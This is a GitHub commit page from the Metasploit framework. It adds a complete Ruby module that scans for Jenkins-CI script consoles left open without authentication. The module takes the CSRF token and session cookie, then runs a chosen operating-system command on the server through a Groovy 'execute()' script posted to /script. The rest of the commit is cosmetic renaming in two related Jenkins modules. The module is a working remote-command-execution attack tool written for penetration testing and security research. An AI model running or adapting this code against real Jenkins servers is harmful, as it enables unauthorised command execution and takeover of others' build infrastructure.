Skip to content

Commit eb73612

Browse files
committed
Land rapid7#5938, add auxiliary/scanner/http/jenkins_command
2 parents 5cc6a22 + 91db259 commit eb73612

File tree

3 files changed

+151
-8
lines changed

3 files changed

+151
-8
lines changed
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
require 'cgi'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner',
19+
'Description' => %q{
20+
This module scans for unauthenticated Jenkins-CI script consoles and
21+
executes the specified command.
22+
},
23+
'Author' =>
24+
[
25+
'altonjx',
26+
'Jeffrey Cap'
27+
],
28+
'References' =>
29+
[
30+
['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
31+
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
32+
],
33+
'License' => MSF_LICENSE
34+
))
35+
36+
register_options(
37+
[
38+
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
39+
OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
40+
], self.class)
41+
end
42+
43+
def fingerprint_os(ip)
44+
res = send_request_cgi({'uri' => normalize_uri(target_uri.path,"systemInfo")})
45+
46+
# Verify that we received a proper systemInfo response
47+
unless res && res.body.to_s.length > 0
48+
vprint_error("#{peer} - The server did not reply to our systemInfo request")
49+
return
50+
end
51+
52+
unless res.body.index("System Properties") &&
53+
res.body.index("Environment Variables")
54+
if res.body.index('Remember me on this computer')
55+
vprint_error("#{peer} This Jenkins-CI system requires authentication")
56+
else
57+
vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
58+
end
59+
return
60+
end
61+
62+
host_info = {}
63+
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
64+
print_status("#{peer} Using CSRF token: '#{$1}'")
65+
host_info[:crumb] = $1
66+
67+
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
68+
host_info[:cookie] = "#{sessionid}"
69+
end
70+
71+
os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
72+
host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
73+
host_info
74+
end
75+
76+
def run_host(ip)
77+
command = datastore['COMMAND'].gsub("\\", "\\\\\\")
78+
79+
host_info = fingerprint_os(ip)
80+
return if host_info.nil?
81+
prefix = host_info[:prefix]
82+
83+
request_parameters = {
84+
'uri' => normalize_uri(target_uri.path,"script"),
85+
'method' => 'POST',
86+
'ctype' => 'application/x-www-form-urlencoded',
87+
'vars_post' =>
88+
{
89+
'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
90+
'Submit' => 'Run'
91+
}
92+
}
93+
request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
94+
request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
95+
res = send_request_cgi(request_parameters)
96+
97+
unless res && res.body.to_s.length > 0
98+
vprint_error("#{peer} No response received from the server.")
99+
return
100+
end
101+
102+
plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s)
103+
104+
if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
105+
vprint_error("#{peer} The server returned an invalid response.")
106+
return
107+
end
108+
109+
# The output is double-HTML encoded
110+
output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s)).
111+
gsub(/\s*(out|err)>\s*/m, '').
112+
strip
113+
114+
if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
115+
output = $1
116+
print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
117+
else
118+
output.split("\n").each do |line|
119+
print_good("#{peer} #{line.strip}")
120+
end
121+
end
122+
123+
report_vulnerable(output)
124+
125+
end
126+
127+
def pattern_extract(pattern, buffer)
128+
buffer.to_s.scan(pattern).map{ |m| m.first }
129+
end
130+
131+
def report_vulnerable(result)
132+
report_vuln(
133+
:host => rhost,
134+
:port => rport,
135+
:proto => 'tcp',
136+
:sname => ssl ? 'https' : 'http',
137+
:name => self.name,
138+
:info => result,
139+
:refs => self.references,
140+
:exploited_at => Time.now.utc
141+
)
142+
end
143+
end

modules/auxiliary/scanner/http/jenkins_enum.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,9 @@ class Metasploit3 < Msf::Auxiliary
1919

2020
def initialize(info = {})
2121
super(update_info(info,
22-
'Name' => 'Jenkins Enumeration',
22+
'Name' => 'Jenkins-CI Enumeration',
2323
'Description' => %q{
24-
This module enumerates a remote Jenkins installation in an unauthenticated manner, including
24+
This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including
2525
host operating system and and Jenkins installation details.
2626
},
2727
'Author' => 'Jeff McCutchan',
@@ -30,7 +30,7 @@ def initialize(info = {})
3030

3131
register_options(
3232
[
33-
OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]),
33+
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
3434
], self.class)
3535
end
3636

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Jenkins Script-Console Java Execution',
16+
'Name' => 'Jenkins-CI Script-Console Java Execution',
1717
'Description' => %q{
18-
This module uses the Jenkins Groovy script console to execute
18+
This module uses the Jenkins-CI Groovy script console to execute
1919
OS commands using Java.
2020
},
2121
'Author' =>
@@ -52,7 +52,7 @@ def initialize(info = {})
5252
[
5353
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
5454
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
55-
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
55+
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
5656
], self.class)
5757
end
5858

@@ -178,8 +178,8 @@ def exploit
178178
end
179179

180180
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
181-
print_status("Using CSRF token: '#{$1}'");
182-
@crumb = $1;
181+
print_status("Using CSRF token: '#{$1}'")
182+
@crumb = $1
183183
end
184184

185185
case target['Platform']

0 commit comments

Comments
 (0)